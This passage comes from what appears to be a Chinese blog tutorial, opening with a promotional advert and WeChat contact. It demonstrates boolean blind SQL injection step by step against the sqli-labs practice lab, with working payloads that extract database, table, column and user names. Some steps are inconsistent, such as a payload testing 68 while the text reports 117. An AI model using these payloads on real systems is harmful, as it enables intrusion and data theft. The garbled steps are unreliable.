先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
正文
1’ and (left(database(),8)=‘security’)-- -
![](https://img-blog.csdnimg.cn/img_convert/671056d7a9aa7f9263d7ee59389ada10.png)
``接着是 Ascii 判断,Ascii 对照表如下:``
![](https://img-blog.csdnimg.cn/img_convert/ccfa34976c8f516662df7b807462135a.jpeg)
``首先获取当前数据库第一个字母。``
1’ and ascii(substr(database(),1,1))=115-- -
![](https://img-blog.csdnimg.cn/img_convert/74d06841f4a862060e9940fca170f085.png)
``当 ascii 码为 115 时页面正常,说明首字母为:s。``
``继续判断第二个字母。``
1’ and ascii(substr(database(),2,1))=101-- -
![](https://img-blog.csdnimg.cn/img_convert/695ecf9986f580e3e89c6f6e83c69fd3.png)
````当 ascii 码为 101 时页面正常,说明第二个字母为:e。(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)````
``得到数据库名后,下一步获取表的个数``(``后面的操作我们都使用 ascii 函数来判断)``
1’ and(select count(table_name) from information_schema.tables where table_schema=‘security’) = 4-- -
![](https://img-blog.csdnimg.cn/img_convert/b4feb699fe0c38d07464413148441944.png)
页面正常,此时可知当前 security 库中有 4 个表。
接着我们利用 limit 来指定表进行表名长度猜解操作,这里我们指定第四个表 limit 3,1。
1’ and (length((select table_name from information_schema.tables where table_schema = database() limit 3,1)))=5-- -
![](https://img-blog.csdnimg.cn/img_convert/92498ed069736dc402299ce5df458003.png)
页面返回正常,得出第四个表长度为 5,继续判断第四个表的表名。
判断表名首字母。
1’ and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),1,1))=117-- -
![](https://img-blog.csdnimg.cn/img_convert/92299ba76f867cb03fa07cb9227ac8c5.png)
当 ascii 码为 117 时页面正常,117 对应的 ascii 码为:u。
继续判断表名的第二个字母。
1’ and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),2,1))=115-- -
![](https://img-blog.csdnimg.cn/img_convert/004602f764ef03e93ef4afed9827f6e7.png)
当 ascii 码为 115 时页面正常,115 对应的 ascii 码为:s(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)
最后这里判断出表名为:users。
得到表名后判断 users 表中的字段数量。
1’ and (select count(column_name) from information_schema.columns where table_name=“users”)=15-- -
![](https://img-blog.csdnimg.cn/img_convert/ac632a95e66662a6a41d051d671b7bb5.png)
这里得出 users 表中存在 15 个字段数,下一步获取指定字段的长度。
http://192.168.2.40/sqli-labs/Less-5/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=“users” limit 9,1),8,1))-- -
![](https://img-blog.csdnimg.cn/img_convert/39bf419674398c0224ff23fa668ce703.png)
得出 limit 9,1 中的字段长度为 8,得知长度后获取字段名,首先判断首字母。
1’ and ascii(substr((select column_name from information_schema.columns where table_name = “users” limit 9,1),1,1))=117-- -
![](https://img-blog.csdnimg.cn/img_convert/159aff770c47b76b0c25ec8c0e0a9ff4.png)
当 ascii 码为 117 时页面正常,117 对应的 ascii 码为:u。
接着判断第二个字母。
1’ and ascii(substr((select column_name from information_schema.columns where table_name = “users” limit 9,1),2,1))=115-- -
![](https://img-blog.csdnimg.cn/img_convert/9fb9f8ab299c8b0c60a06127dfa0c395.png)
当 ascii 码为 115 页面返回正常,115 对应的 ascii 码为:s。(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)
最后判断得出字段名为:username
得知 users 表中第 10 个字段名为 username 后就可以开始脱数据了,首先利用 limit 0,1 判断第一行数据的长度。
1’ and (length((select username from users limit 0,1)))=4-- -
![](https://img-blog.csdnimg.cn/img_convert/66a562c9e673c1692b9b69b3c40802c7.png)
页面返回正常,最后一步获取数据。
1’ and ascii(substr((select username from users limit 0,1),1,1))=68-- -
![](https://img-blog.csdnimg.cn/img_convert/5e7e8d87d4a99a8e9022c8b1e76b28d7.png)
当 ascii 码为 68 时页面正常,68 对应的 ascii 码为:D。
继续判断第二个字母。
1’ and ascii(substr((select username from users limit 0,1),2,1))=68-- -
![](https://img-blog.csdnimg.cn/img_convert/98add62ed80d0b8d791a1645e45c3984.png)
当 ascii 码为 117 时页面正常,117 对应的 ascii 码为:u。(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)
最后这里判断出数据内容为:Dumb。
注:盲注一般都不会手工去进行一个注入的,都会采用脚本、工具去跑,只有小可爱才会用手工去注入。
###
### **3.5、时间盲注**
时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据,而采用一种突破注入的技巧。在 mysql 里